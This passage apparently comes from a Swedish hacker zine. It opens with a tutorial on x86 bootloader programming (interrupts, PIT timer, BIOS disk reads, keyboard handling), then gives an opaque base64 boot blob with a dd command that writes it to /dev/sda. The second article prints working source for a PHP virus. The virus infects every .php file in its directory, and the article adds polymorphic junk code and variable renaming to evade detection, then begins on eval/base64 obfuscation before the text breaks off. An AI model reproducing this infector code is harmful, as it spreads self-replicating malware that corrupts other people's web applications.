mov al, 45 ;; Här trycker någon på en tangent som anropar en ISR som hanterar ;; inmatning från tangentbordet cmp al, 45 ; inte det resultat vi vill få! iret fungerar ungefär som en vanlig ret, fast för ISRs. Skillnaden ligger i att iret poppar ip, cs och flags-registret från stacken till respektive register. De läggs på stacken innan ISRn anropas. Det finns en sak till förutom hårdvaru-/mjukvarutriggade interrupts som anropar ISRer, det är sk. undantag (eng. exceptions). När något händer som CPUn inte kan hantera (ip pekar på en opcode som inte är en giltig instruktion, div försöker genomföra en division där nämnaren är noll, etc) anropas den ISR som är associerad till det undantag som uppstått. T.ex: interrupt 0x00 är division by zero interrupt, interrupt 0x03 är breakpoint exception (används av debuggers för att avbryta programflödet vilket gör att man kan ha ett program som kör ett annat program och hålla koll på "slav"-programmets tillstånd utan att behöva emulera den underliggande hårdvaran). Intel 8254 - 16-bitars timer (PIT) ---------------------------------- Låt oss titta lite närmare på något som genererar hårdvaruinterrupts, nämligen PITen! PIT står för Programmable Interval/Interrupt Timer, viktigt att hålla reda på akronymerna här Just Intel 8254 är en PIT med en frekvens på 0x1234dd Hz som hittas på alla IBM kompatibla PCs. Idag är kontrollern oftast emulerad, kretsen i sig är ganska gammal. För de med högre krav på timers för t.ex. multimedia-applikationer finns IA-PC HPET (High Precision Event Timer). 8254an har tre timerkretsar, timer0-2. Timer0 används för att generera interrupts, antingen med jämna intervaller eller sk. one-shot. Timer1 användes förr som en RAM-klocka, men den funktionen används inte idag. Eftersom Timer1 alltid varit en systemtimer finns ingen anledning att emulera den, och därför är det inte alla moderkortstillverkare som fortfarande stödjer timer1. Timer2 används för att generera vågformer för PC-högtalaren. PITen har en kontrollport (Control Word Register), I/O port 0x43. Ska man pyssla med PITen skriver man först vilken timer man vill pyssla med här samt vilket läge man vill att timern ska arbeta med. All denna info är packad i en byte i formatet: Bit 7-6: val av timer (0-2) Bit 5-4: läs/skriv-läge Bit 3-1: arbetsläge för PIT-timern Bit 0: BCD eller 16-bitarscounter Bit 0 är 0 för att använda en 16-bitarscounter, 1 för att ange count i BCD. Vi kommer att använda oss av 16-bitarscounter. 8254an har sex olika arbetslägen, de intressanta är för oss är läge två och tre. Läge två genererar interrupts på förutbestämda intervaller. Läge tre genererar en fyrkantsvåg som vi kan använda till PC-speakern. läs/skriv-läget anger hur vi matar vår 16-bitarscounter till respektive timer. Det som är aktuellt för oss är läge 3, vi skriver den minst signifikanta byten till timern först, sen den mest signifikanta. Vill vi att timer0 ska generera en interrupt hundra gånger varje sekund räknar vi först ut vad vår counter ska ha för värde. För att göra detta tar vi PIT-frekvensen (0x1234dd) och dividerar med antalet ggr vi vill generera interrupten per sekund (100 ggr). Vår counter får alltså värdet 0x2e9b. Efter det skriver vi 00110100 (0x34, timer 0, skrivläge 3, arbetsläge 2, 16-bitarscounter) till PITens kontrollregister 0x43. Till sist skriver vi vårt countervärde (0x2e9b) till timer0s I/O port, 0x40. Men vad händer då? Jo, en IRQ skickas till PICen varje gång vår counter (som minskas med ett 0x1234dd ggr/sekund) når noll. IRQ0 närmare bestämt. IRQ0 genererar i sin tur interrupt 8. Så för att något ska hända när vi genererar vår interrupt får vi patcha IVTn och lägga till adressen till vår ISR som vi vill få anropad med jämna intervaller. interrupt 8 är offset 0x20 i IVTn. Så, det var timer 0. PITen används även för att generera toner till den interna PC-speakern. Den gör detta genom att generera en fyrkantsvåg med en viss frekvens som vi anger i form av ett värde till countern. Vill vi ha en ton på 200 Hz dividerar vi PIT-frekvensen med 200 för att få fram countervärdet. Varje gång räknaren når noll sker en växling av timeroutputen (låg-hög eller vice versa) och nedräkningen börjar om från början. Nästa gång timern når noll sker samma växling och nedräkningen startas om på nytt. Så pågår det ad infinitum, eller åtminstånde tills det avbryts av antingen mjukvaran eller hårdvaran. För att generera en fyrkantsvåg med vår PIT skriver vi ut 1011 0110 (0xb6, timer 2, skrivläge 3, arbetsläge 3) till I/O port 0x43 följt av counter-värde till port 0x42. Därefter måste vi säga till PC-speakern att den ska vara aktiv och ta sin input från PITen (och då givetvis timer 2). Detta gör vi genom att läsa från PC-speakerns I/O port, 0x61, och sätta de två lägsta bitarna till 1. Bit 0 kontrollerar speakern (av/på) och bit 1 kontrollerar timer 2 input (nej/ja). Alltså: ;; activate and set timer 2 mov al, 0xb6 out 0x43, al mov ax, TIMER_COUNT out 0x42, al shr ax, 8 out 0x42, al ;; activate PC speaker in al, 0x61 or al, 3 out 0x61, al Innan vi går vidare - Hur man kommer från bootsektorn ----------------------------------------------------- BIOS laddar bara första sektorn till minnet, till 0000:7C00, remember? Men vafan, det är ju bara 512 byte varav vi kan använda 510 byte. Det blir svårt att få in Windows där. På nägot sätt måste vi använda dessa 510 byte till att ladda resten av vårt skit. Vi måste på något sätt få åtkomst till USB-disken för att kunna ladda fler sektorer till minnet. 510 byte är lite för lite för att implementera rutiner för USB 1.1 eller 2.0 protokollet och dessutom få igång diskhantering över det. Turligt nog erbjuder BIOS oss en utväg. Vi har ju snackat en del om interrupts och om BIOS tidigare i artiklen, men jag har undvikit att nämna BIOS-rutiner. BIOS lägger nämligen till egna interrupts i IVTn. Genom att använda mjukvaruinterrupts som funktionsanrop får vi ett fint gränssnitt mot kod i BIOS som låter oss göra allt från utskrifter till skärmen till att läsa tecken från tangentborder och --- läsa från disk! Dock är BIOS-rutiner något som bör undvikas in i det längsta, de är bra för portabel och kompakt kod men de är långsamma och svarta lådor. Olika BIOS jobbar på olika sätt, och även om gränssnitten är mer eller mindre de samma så används olika algoritmer vilket kan ge en stor prestandaskillnad för det system vi försöker implementera. Låt mig introducera interrupt 0x13, en BIOS-funktion för att hantera diskar. Nu snackar vi inte diskar som i mappar och filer, utan på lägsta nivå i sektorer cylindrar och diskhuvuden. Det är lite kul, för moderna NAND-baserade och andra solid-state diskar har inte diskhuvuden eller sektorer på samma sätt som en traditionell hårddisk har, men samma gränssnitt används för dem. int 0x13 kan adressera 1024 cylindrar, 256 diskhuvuden och 63 sektorer. En sektor är 512 byte. 63 sektorer är således ca. 32kb. Det borde vara mer än nog för att ladda kewd som implementerar ett vettigt filsystem och USB-hantering så man slipper använda BIOS-rutinerna. int 0x13 har rutiner för saker som att hämta information från disk och kontrollera diskstatus, men det vi är intresserade av är att läsa sektorer till minnet. ah får ett nummer som identifierar vilken rutin vi vill använda, och "läsa sektorer till minnet"-rutinen är 0x02. al får antalet sektorer vi vill läsa, cx innehåller cylinderspår samt sektoroffset, dh håller läshuvudet, dl har nummret till disken vi vill läsa ifrån och es:bx håller adressen vi vill skriva till. Allt detta är ganska rättfram, men vi har ett problem. Hur vet vi vilket nummer vår USB-disk har? Vi kan ju gissa, men faktum är att när vår kod börjar köras är registret dl redan satt till vårt disknummer. Det finns faktiskt en rutin till som kan behöva användas från int 0x13. Det är "drive reset"-funktionen 0x00. Jag _vet_ inte om det behövs när man bootar från USB ( jag har gjort det utan) men eftersom man använder samma gränssnitt som för disketter kanske vissa BIOS kräver det. Det skadar inte att använda iaf. Vilken disk vi ska resetta anges som parameter i dl. Sektor 1 är bootsektorn, så vi börjar ladda kewd från sektor 2 och framåt. Lite exempelkod: ===== KOD BITS 16 org 0x7c00 start: mov sp, 0x6000 mov dh, 0 push dx ; reset might change dl on success, I dunno ;; reset, dl is set reset: xor ax, ax int 0x13 jc reset ; fail? Do it again fgt pop dx mov ax, 0x1000 mov es, ax xor bx, bx ; load shit to 1000:0000 readSectors: mov ah, 2 mov al, (theRestSize/512)+1 ; number of sectors mov cx, 2 ; cylinder 0, sector 2 pop dx int 0x13 jc readSectors ;; Jump up, jump up and jump around! jmp 0x1000:0 times 510-($-$$) db 0 dw 0xAA55 theRest: incbin "therest.bin" theRestSize equ $-theRest ===== KOD therest.bin innehåller den del av vår kod vi vill ladda till minnet. Vi gör därför klokt i att ha en källkodsfil för bootloadern (ovanstående kod) och en för det program vi vill ladda. På så sätt kan vi få offsets (org-direktivet) och liknande rätt, och skapa en modulär plattform, där vi kan behålla samma bootloader men byta ut programkoden. Vi slipper alltså koda ovanstående stycke om och om igen. Intel 8042 - tangentbordshantering ---------------------------------- Som människor är tangentbordet vårt främsta inmatningsgränssnitt till vår dator. Vare sig vi spelar Quake XII, Doom 3k, Rampaging Kill Zone V, skriver en labbrapport till vår lärare, jobbar på en artikel till HckZine eller skriver ett mail till någon vi tycker om så skulle det jobbet vara mycket svårare utan vårt fina tangentbord. Detta stycke kommer att hantera PS/2 tangentbord, USB tangentbord är en annan historia. I vårt tangentbord finns det en mikrokontroller som läser av tangentbordets tillstånd X gånger/sekund. Denna uC kallas för "device controller", just därför att den sitter på en periferienhet. Tangentbordet har en egen kontroller eftersom det skulle ta ganska mycket CPU-kraft om vår processor skulle bemöda sig med detta monotona arbete istället för att fokusera på det viktiga här i livet. När tangentbordets tillstånd förändras från "ingenting händer" till "OMG, någon nuddade mig!" läser tangentbordskontrollern av tangenternas konfiguration och får något som kallas för en "scan code", ett värde på vilken knapp som är nedtryckt. Det är iaf den uppfattning jag har fått. När detta händer skickar vår device controller ett meddelande via tangentbordskabeln till en annan kontroller, host controllern. Denna Intel 8042-kompatibla uC genererar sedan en IRQ till PICen som säger, "hey, nånting har hänt med mig!". En ISR anropas. Resten är upp till oss, vi läser av vilken tangent som tryckts ner översätter den till ett tecken och sedan skriver vi detta tecken till vår inmatningsbuffer (eller kasserar det, eller skriver det direkt till skärmen, serieporten eller vad vi nu vill göra). Vi kanske inte gillar interrupts. Vi kanske kör ett program där allt måste ske i en viss ordning och inget kan tillåtas störa våra uträkningar om vi inte vill så! Då kan vi säga till tangentbordet att inte generera interrupts. Vad vi gör då istället är att vi läser av en I/O port och kollar om en bit är satt. Är den det läser vi från tangentbordets inmatningsbuffer. Denna buffer har den häpnadsväckande storleken av en byte! Har du någonsin suttit i Linux, tryckt på å, ä eller ö och fått ett helt annat tecken skrivit till skärmen? Detta beror på att översättningen mellan scan code till tecken är felaktig, du har laddat fel "keyboard map(ing?)". Alla människor här i världen har fått för sig att de inte ska snacka samma språk eller ha samma skrifttecken. Därför finns det olika tangentbord. När vi läser in vilken tangent som är nedtryckt får vi inte en teckenkod (som jag nämnt nu några gånger) utan vi får en "scan code" som talar om för oss att tangenten på den här positionen på tangentbordet är nedtryckt. Den tangenten kan vara ett tyskt y ett grekiskt psi, ett slaviskt-kyrilliskt sjtja eller något tecken en galen vetenskapsman hittat på för att han inte gillar de existerande skrifttecknen som används. Det kan också vara ö, även om det är mer förståeligt eftersom det är ett Överlägset tecken. Det finns även olika typer av scan codes som talar om för oss om en tangent blivit nedtryckt eller släppt. Dessa kallas för make respektive break codes. I regel är en break code är samma som tangentens make code, fast bit 7 är 1. Vi har även modifieringstangenter som shift, alt och ctrl. Dessutom har vi funktionstangenterna F1 till F12 att hålla reda på. Mikket skit alltså. Håller vi nere en tangent längre än en viss tid (normalt sett 0.5 sekunder, men detta kan ändras om man inte gillar det) skickas dess make code igen. Och igen. Och igen. Tills dess att vi släpper tangenten, då dess break code skickas. Givetvis måste vi kunna hantera tangentbordskombinationer i stil med Shift+A, Ctrl-Alt-F5 och annat skit man kan tänkas mata in. Detta i kombination med översättningen scan code till tecken gör att vi har lite att bita i. För att göra det ännu klyddigare består vissa scan codes av flera byte. Så, det var teorin. Nu till praktiken, hur fan kodar vi en rutin som kan hantera tangentbordet? Hur tar vi emot scan codes? Det finns två I/O portar vi måste hålla koll på, I/O port 0x64 och 0x60. Port 0x64 är tangentbordets status/kommandoregister. Skriver vi hit skriver vi ett kommando, läser vi härifrån läser vi tangentbordets status. Vi läser eller skriver en byte. Port 0x60 är tangentbordets I/O buffer. Buffern är som tidigare nämnt 1 byte stor, så den fylls ganska snabbt. När den är full måste den tömmas. Låt oss gå in mer i detalj på hur vi läser tangentbordets status. Vi tar helt enkelt och läser en byte från port 0x64: in al, 0x64 Byten som hamnar i al har följande utformning: Bit: 7 6 5 4 3 2 1 0 Namn: PERR TO MOBF INH A2 SYS IBF OBF PERR - Parity error, paritetsbiten (agerar som en 1-bits checksum) är fel. Kan betyda att tangentbordssladden är skadad, glappar eller att elektroniken failar. Kan också vara någon induktiv störning (kanske inte så troligt på den korta biten men risken finns). TO - Timeout för tidigare kommando. Skicka igen. MOBF - Mouse Output Buffer Full, hmm, PS/2 är ju inte bara tangentbordet. Dock Går vi inte in mer i detaljer på detta. INH - Inhibit flag (hämmad, ?) Jag vet faktiskt inte. A2 - Address line 2, (?) Se ovan. SYS - system flag (reset läge) Se ovan. IBF - Input Buffer Full - vi kan läsa från input buffern. Vi bör. OBF - Output --------- - Vi kan skriva till output buffern. Så, det vi behöver bry oss om är bit 7, 6, 1 och 0. Viktigast är de två minst signifikanta bitarna. Innan vi rör port 0x60 MÅSTE VI ALLTID KOLLA ATT I/O-BUFFERN ÄR TOM! Det finns även olika kommandon vi kan skriva till port 0x64. Vi kommer bara att fokusera på ett av dem, Write Command Byte (kod 0x60). Resten har med initiering och liknande att göra, och det sköter BIOS åt oss vid uppstart. När vi skrivit WCB (0x60) till port 0x64 skriver vi själva kommandobyten till port 0x60. Återigen, I/O-bufferten måste vara tom! Kommandobyten ser ut som följer: Bit: 7 6 5 4 3 2 1 0 Namn: -- XLAT _EN2 _EN -- SYS INT2 INT Bit 7 och 3 används inte. Resten är: XLAT - Översätt scancodes till set 1 (bör vara noll, disabled) _EN2 - Enable/Disable mouse (0 enable) _EN - Enable/Disable keyboard(0 enable) SYS - modifiera system flag manuellt (reset?) INT2 - generera IRQ12 när mouse input buffer är full INT - Input Buffer Full Interrupt - generera IRQ1 när input buffer är full Det finns olika scan code sets, detta är en historisk rest som finns kvar av kompabilitetsskäl. Skriver vi ny kewd bryr vi oss inte. Vi skiter alltså i XLAT biten. SYS ändrar systemflaggan (som jag tidigare angav har jag ingen aning vad denna flagbit innebär). Två andra bitar vi behöver bry oss om är INT2 och INT. Input Buffer Full Interrupt. Om INT2 sätts till 1 skickas IRQ12 till PICen så fort något händer med musen. Använder vi ingen mus bör vi sätta denna bit till noll. Om INT sätts till 1 genereras IRQ1 varje gång något händer med tangentbordet. Vill vi använda interrupts sätter vi den till ett, vill vi polla port 0x64 och kontrollera IBF-flaggan istället sätter vi INT till noll. Så, givet att vi använder oss av interrupts för att läsa av tangentbordet så sker följande när en tangent trycks ner: * IBF sätts till 1 i statusregistret * IRQ1 genereras, om PICen inte maskar bort den anropas ISRn som IVT[9] hänvisar till. * Vår ISR läser statusregistret, ser att IBF är ett, läser scan code från port 0x60. Nu har vi lite olika val här. Vi kan ju använda vårt tangentbordsgränssnitt som en enda stor I/O-kanal i en bil, där tangenterna är kopplade till växelsystemet, lampor, ratten, sätvärmare etc. Då vill vi troligtvis inte översätta de scan codes vi läser till tecken. Istället vill vi hålla reda på tillståndet, vi märker att ratten är vriden åt vänster (olika steg av vridning finns givetvis för att göra skillnad på upplösningen) så vi svänger vänster med hjulen. När vi tar emot en break code nollställer vi hjulens position. Ett mer troligt scenario kan vara att vi använder vår dator som en synth, och istället för att översätta tangentbordskoderna till tecken spelas en ton upp tills dess att tangentens break code läses från I/O porten. Normalt vill vi dock översätta våra scan codes till tecken, skriva till en buffer, och när buffern är full göra något med den. ISRer anropas oftast väldigt mycket under korta tidsperioder, så de bör vara så korta som möjligt för att inte ta upp onödigt mycket CPU-tid. Vi bör alltså inte låta vår ISR anropa andra funktioner som tar hand om bufferhanteringen, utan vi sätter en semafor och returnerar från vår ISR. Sen får någon annan del av vårt program ta hand om buffern. Vilka scan codes som bör översättas till vilka tecken är lite svårt att veta. Det bästa sättet att ta reda på det är att kolla i befintlig källkod i diverse operativsystem, t.ex. Minix 3 där våra scan codes finns i filen src/drivers/tty/keymaps/scandinavian.src Antingen det eller så kör du följande program som jag slängt ihop bara för DIG: ===== KOD ;;; keyboard.asm - Print keyboard scan codes to the screen BITS 16 ORG 0x7C00 ;; some defines for readability %define KBDPORT_STATUS 0x64 %define KBDPORT_CMD 0x64 %define KBDPORT_IO 0x60 %define KBDMASK_IBF 0xFD start: cli ;; patch IVT[9] mov di, 4*9 mov word [di], kbdISR add di, 2 mov word [di], 0 ;; settin' up stack and video stuff mov ax, 0xB800 mov es, ax xor di, di mov ax, 0x5000 mov ss, ax xor sp, sp sti nop mainLoop: hlt jmp mainLoop kbdISR: ;; keyboard interrupt handler call readScanCode jc .afterPrint call printByte .afterPrint: mov al, 0x20 ;EOI out 0x20, al iret readScanCode: ;; stc if nothing to print in al, KBDPORT_STATUS and al, KBDMASK_IBF jnz .gotInput stc ret .gotInput: in al, KBDPORT_IO clc ret printByte: ;; al: byte to print in hex mov dl, al shr al, 4 and dl, 0x0F ;; al, high nibble ;; dl, low nibble cmp al, 10 js .afterAL add al, 7 .afterAL: cmp dl, 10 js .afterDL add dl, 7 .afterDL: add al, 0x30 ;0x30: ASCII-0 add dl, 0x30 call printAL mov al, dl call printAL mov al, 0x20 call printAL ret printAL: ;; writes the char in al to the screen and keeps track of ;; the rows and cols cmp di, 4000 ; is the screen full? js .doPrint call clearScreen ; The screen is full, clear it out! .doPrint: mov ah, 0x07 stosw ret clearScreen: xor di,di xor ax, ax mov cx, 80*25 rep stosw xor di, di ret times 510-($-$$) db 0 dw 0xAA55 ===== KOD Som du troligtvis ser (om du faktiskt läser koden och inte bara scrollar förbi den för att du är för lat för att sätta dig in i den) skriver programmet ut scan codes till skärmen. Om du provar det märker du dock en sak när du tröttnar på det och vill starta om datorn. Ctrl-alt-del fungerar inte! Det är för att BIOS har en egen IVT[9] ISR som tar hand om tolkningen och verkställandet av trefingerssaluten. Vad du kan göra föra ha kvar denna ISR är att spara de gamla värdena för IVT[9] och sen jmp'a till dem i slutet av din egen ISR. Detta garanterar dock inte samma funktionalitet, eftersom vi redan läst in tecknena från tangentbordets I/O-buffer. Troligtvis fungerar det inte öht. Så det bästa vore att koda ihop en egen rutin som sköter det också. En avskedsgåva - för denna gång ------------------------------- Visst är det kul att koda saker där man känner att man vet exakt vad som pågår, i alla fall på mjukvarunivå? Inte massa svarta lådor med kod som man inte vet vad de gör som är i vägen för en. Inte för att svarta lådor nödvändigtvis är något dåligt, de tillåter oss att fokusera på uppgiften vi ska lösa och hur vi ska lösa den med hjälp av datorn istället för att behöva tänka på hur vi ska instruera datorn till att lösa den. Svarta lådor finns överallt, i form av scriptspråk och dess tolkar, kompilatorer, kodbibliotek, operativsystem och liknande. Givetvis säger jag inte att man ska lägga ner sin tid på att skriva ett eget operativsystem bara för att existerande operativsystem är så stora och klumpiga så att det är omöjligt för en enda människa att känna till alla aspekter av det. Däremot säger jag att man ska besitta kunskapen till att kunna skriva ett operativsystem, att kunna forma egna svarta lådor. Det är så kodhierarkin fungerar, de som bara använder svarta lådor utan att förstå hur de fungerar är längst ner i rännstenen. Här hittar vi farmor Agda som tror att muspekaren har någon mekanisk koppling till musen och Pelle som aldrig förstått hur Bosses karaktär kan dö när han riktar sitt hårkors mot honom och trycker på vänster musknapp i spelet Ultimate Massacre 4200. De är rena gränssnittsanvändare. Hoppet är nog ute för Agda, hennes liv är annorlunda. Inte sämre, bara annorlunda. Pelle däremot växer upp, skriver egna bindings till spelet han spelar (han förstår ytterligare en svart låda, hur spelet associerar vissa händelser hos honom som musklick till händelser i spelet), upptäcker att han kan göra så att rekylen i spelet kompenseras genom att han associerar ett musklick med avfyrning av vapnet _och_ sänkning av vapnet i y-led. Han får positiv feedback och även om spelets tillverkare omöjliggör detta "fusk" i nästa patch är han eggad att lära sig mer. Han börjar se det hela i ett större perspektiv, lär sig kewda, tar sig förbi ytterligare en svart låda (peka&klicka-gränssnittet) för att en dag ha ett dussintals biologiska hårdvaruemulatorer inprogrammerade i pannloben. Där spårade jag ur lite. Vad jag antar att jag vill framföra är att det ligger i människans natur att vilja lära sig, förstå hur saker och ting fungerar. När man lär sig hur någonting fungerar får man positiv feedback, man får en belöning i form av utsöndring av kemiska ämnen i hjärnan. Hjärnan behöver ingen yttre stimulans för detta, stimulansen skapas av hjärnan själv när man tänker ut en lösning. Folk som saknar viljan att lära sig och bara vill uppnå någonting där lärandet i sig är en biprodukt (kanske till och med en oönskad sådan när det gäller programmering eller datorrelaterade uppgifter som kräver viss form av programmering) är på ett sådant tidigt stadie i hierarkin att de måste få Den Första Upplysningen för att förstå. Det var denna upplysning Pelle råkade ut för när han insåg hur han associerar händelser i spel. Det behöver inte vara någon stor upplysning eller ett halleluja-ögonblick, gnistan är ganska klen jämfört med skogsbranden den startar. Utan gnistan, ingen skogsbrand. Utan viljan att lära sig, ingen kunskap. Men med viljan är möjligheterna oändliga. För er som vill gå vidare på egen hand har jag samlat ihop en länksamling. Eller ja, det är tre länkar, men 'länksamling' får det att låta bättre. IA Software Developer's Manual volym 1-2 http://www.intel.com/design/intarch/manuals/243190.htm http://www.intel.com/design/intarch/manuals/243191.htm Volym 1 är en grundlig genomgång av arkitekturen som sådan (märk väl endast CPUns arkitektur, inte gränssnitt till andra kort eller liknande) Volym 2 är x86 instruktionsset med add-ons som MMX och de olika SIMD-setten. Mycket bra att ha till hands. The Art of ASSEMBLY LANGUAGE PROGRAMMING http://www.arl.wustl.edu/~lockwood/class/cs306/books/artofasm/toc.html Inte så jättebra att lära sig assemblerprogrammering från då den är ganska matig och tar upp mycket som inte kan göras under 32-bitars protected mode, det senare är precis det vi sysslat med nu. Den är väldigt grundlig och innehåller mycket man inte kan hitta i andra dokument. Väl värd att läsa! För er icke-epileptiker där ute satte jag ihop en liten fin bootsplash med ljudeffekt som demonstrerar användandet av VGA text samt ljud- och intervallgenerering med 8254an. Enjoy: +rgAuI7AMcCO0I7YvABwsLbmQ7gAAuZCwegI5kLkYQwD5mG/IADHhQAASXyBxwIAxwUAALA05kO4 my7mQMHoCOZAsQow7fvr/v7JdQXoBwCxCrAg5iDPhO10C2hBRGgAADDt6QgAaAAAaEFE/sWJ5WZg vp18Mf+1+qyxCNDgcgaLVgDpAwCLVgImiRWBxwIA/sl16P7NdeFmYVhYw/////////////////// ///////////////////////////////////////////////////////////////zn8/Af/////// 85hM/MhnD/////ATwfP5Juf////zk8nPyYYP////85PMn8nGf/////OYTIBJ5g////////////// ///////////////////////////////////////////////////w4B//////////8OeP//////// ///nx///////////58f/////////8OeP//////////DgH/////////////////////////////// //////////9zdWcgbWluIGtld2ssIHdlIGFpbnQgVkZIIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVao= Spara som valfri fil, kör base64 -di <valfri fil> > foo.bin, skriv foo.bin till USB-disk med dd (dd if=foo.bin of=/dev/sda förutsatt att sda är din USB-disk och inte din porrfilmssamling) och boota. För de av er som av något godtyckligt skäl inte kan/vill/orkar/litar på mig tillräckligt mycket för att köra ovanstående kod har jag spelat in ett litet filmklipp och lagt upp på YouTube som visar den in action: http://www.youtube.com/watch?v=eBGIQ7ZuuiU Fin. ================================================================================ 0x03 - PHP-Virus, teori och praktik, del 2 R34p3r ================================================================================ Inledning --------- Så, i förra zinet började vi lite smått att kika på hur man kan ta och bygga ett virus i det eminenta språket PHP, vilket jag i detta zine tänkte spinna vidare på. Egentligen så är det inte så mycket mer introduktion än så, det som vi kommer att kika på den här gången är följande: - Polymorfisk kod - Enklare kryptering av phpkod Så, det är väl bara att börja. För er som inte har koden sedan förra numret finns den att hämta precis här under. Note #1: Ber er ha överseende med fel i koden då detta skrevs ihop alldeles för fort och att jag var lite halvdegig i kolan när detta gjordes. Note #2: Denna artikel(serie) syftar inte till att i slutändan ge alla skiddies ett komplett virus att leka runt med. Så om ni förväntar er färdig kod redo att köras efter varje avslutad moment/del så tror ni fel. Visst kan det vara kul att som "avancerad" användare ändå få lite färdig kod att pilla med, absolut, men jag *avskyr* folk som copy-pastear kod och gör dumheter med den utan att ha någon som helst aning om vad det är dom egentligen pysslar med. Denna artikel(serie) syftar till att visa på möjligheterna med främst PHP, men även andra, liknande språk. Den syftar INTE till att i slutändan producera ett virus som är skadligt och farligt att sprida. Är det det du som läsare är ute efter föreslår jag att du tar och studerar koden, lär dig PHP och sen sätter ihop kakan själv, det blir mycket roligare så :) Tidigare kod ------------ <?php $ln=16; $fh=fopen(__FILE__,'r'); fseek($fh, $ln); $content=fread($fh, 1611); fclose($fh); $cd=opendir('.'); while($f = readdir($cd)) { if(strstr($f, '.php')) { $offer=fopen($f, 'r+'); $ocont=fread($offer, filesize($f)); if(!strstr($ocont, 'phpv')) { $possible=0; $occont=$ocont; while(strstr($occont, 'function ')) { $occont=strstr($occont, 'unction '); $possible++; } $which=mt_rand(1,$possible); $occont=$ocont; while($which--) { $occont=strstr($occont, 'function '); } $occont=strstr($occont, '{'); $before=strlen($ocont)-strlen($occont)+1; $check=0; $i=0; do { if($occont{$i}=='{') { $check++; } if($occont{$i++}=='}') { $check--; } } while($check); fseek($offer, $before); $funccont=fread($offer, $i+1); fseek($offer, $before+$i-1); $aftercont=fread($offer, filesize($f)-$before-$i -strlen(strstr($ocont, '?>'))); $coundj=0; $newvar=''; do { $newvar.=chr(mt_rand(97,122)); $countj++; } while($countj<mt_rand(5,15)); rewind($offer); $beforecont=fread($offer, $before); rewind($offer); fwrite($offer, $beforecont.chr(13).chr(10).'$ln='.($before +strlen($before)+9).';'.chr(13).chr(10).$content.chr(13). chr(10).$newvar.'(); }'.$aftercont.chr(13).chr(10).'function ' .$newvar.'() {'.chr(13).chr(10).$funccont.'?'.'>'); } } } ?> Trashkod -------- Vad är detta då? Jo, trashkod är precis som namnet antyder bara skräpkod utan någon som helst funktionalitet, det enda det gör är att "skräpa ner" filen som den sätts in i, för att försvåra upptäckten av vår illasinnade kod. Så hur gör vi det på ett smart och snyggt sätt då? Det hela är egentligen mycket enkelt, det handlar egentligen bara om att generera ett antal slumpmässiga tecken och sen infoga dom på slumpmässiga platser i vårt mål. Ett exempel: <?php $string=strtok(fread(fopen(__FILE__,'r'), filesize(__FILE__)),chr(13).chr(10)); $newcont='<?php'.chr(13).chr(10); while ($string && $string!='?>') { if(rand(0,1)) { if (rand(0,1)) { $newcont.='// '.trash('').chr(13).chr(10); } if(rand(0,1)) { $newcont.='$'.trash('').'='.chr(39).trash('').chr(39).';'. chr(13).chr(10); } if(rand(0,1)) { $newcont.='$'.trash('').'='.rand().';'.chr(13).chr(10); } } $string=strtok(chr(13).chr(10)); if ($string{0}!='/' && $string{0}!='$') { $newcont.=$string.chr(13).chr(10); } fwrite(fopen(__FILE__, 'w'),$newcont); } function trash($var) { do { $var.=chr(rand(97,122)); } while (rand(0,7)); return $var; } ?> Värt att noter att jag nu expanderat koden lite för att göra det lättare att hänga med. Nåja, vad händer då? Jo, vi öppnar som vanligt filen vi exekverar och kör igenom hela och därefter slumpmässigt lägger dit endera en kommentar, eller en variabel. Funktionen trash() används för att slumpa fram lite bokstäver. Är du osäker på vad chr() gör och vad siffrorna innebär föreslår jag en titt på http://php.net/chr samt http://www.asciitable.com/ Bara denna kod i sig är ganska trevlig då den tenderar att öka storleken på filen ganska dramatiskt efter ett antal exekveringar, detta går naturligtvis att ändra på genom att endera ändra rand()-parametrarna i trash-funktionen, eller bara lägga till fler saker till $newcont. Ännu ett steg är att lägga till ändringar av variabelnamnen också, vilket vi kan trycka in i samma kodsnutt. Visar dock koden för sig innan vi klumpar ihop den; <?php $cv=array('changevars','content','newvars','counti','countj','trash'); $c=fread(fopen(__FILE__,'r'),filesize(__FILE__)); $ci=0; while($cv[$ci]) { $c=str_replace($cv[++$ci], trash('',0), $c); } fwrite(fopen(__FILE__,'w'),$c); function trash($newvar, $cj) { do { $newvar.=chr(rand(97,122)); } while(++$cj<rand(5,15)); return $newvar; } ?> Klumpar vi ihop detta skulle det kunna bli något i stil med detta: <?php $string=strtok(fread(fopen(__FILE__,'r'), filesize(__FILE__)),chr(13).chr(10)); $newcont='<?php'.chr(13).chr(10); $cv=array('changevars','content','newvars','counti','countj','trash'); $ci=0; while ($string && $string!='?>') { if(rand(0,1)) { if (rand(0,1)) { $newcont.='// '.trash('').chr(13).chr(10); } if(rand(0,1)) { $newcont.='$'.trash('').'='. \ chr(39).trash('').chr(39).';'. \ chr(13).chr(10); } if(rand(0,1)) { $newcont.='$'.trash('').'='.rand().';'.chr(13).chr(10); } } $string=strtok(chr(13).chr(10)); if ($string{0}!='/' && $string{0}!='$') { $newcont.=$string.chr(13).chr(10); } while($cv[$ci]) { $newcont.=str_replace($cv[++$ci], trsh(''), $c); } fwrite(fopen(__FILE__, 'w'),$newcont); } function trsh($var, $cj=0) { do { $var.=chr(rand(97,122)); } while (++$cj<rand(0,15)); return $var; } function trash($var) { do { $var.=chr(rand(97,122)); } while (rand(0,7)); return $var; } ?> Nu när vi har lite mysig kod som ändrar sig efter varje körning så är det dags att ta sig an nästa del i denna artikel, nämligen; Enklare kryptering av phpkod ---------------------------- För att förhindra att folk tar och kikar på vår kod alltför mycket så kan vi applicera lite "kryptering" på den. Nu är visserligen detta ganska svårt att genomföra i PHP, men det finns ett sätt som är ganska välbeprövat vid det här laget, men som inte alls gör koden oåtkomlig. Vad som händer är att processen för att komma åt den blir lite längre bara. Detta borde dock räcka för att den vanliga hobbykodaren ska lägga ner sitt tafatta försök att reversa vårt lilla virus :) Vad jag pratar om är helt enkelt en simpel kombination av eval() och base64_encode()/base64_decode(). Hur går detta till då? Jo, eval() används för att evaluera kod, dvs behandla en text som ren PHP. För en bättre förklaring föreslår jag ett besök hos http://php.net/eval Base64 antar jag att alla är mer eller mindre familjära med, men hur själva algoritmen fungerar tänker jag inte ta upp här, även fast den är ganska simpel. Det är inga nycklar eller så inblandade. Ett exempel på base64 finns nedan; Plain text: hej Base64: aGVq Detta är alltså vad vi ska använda oss av för att göra vår PHP-kod oläslig vid första anblicken. Principen är som sagt 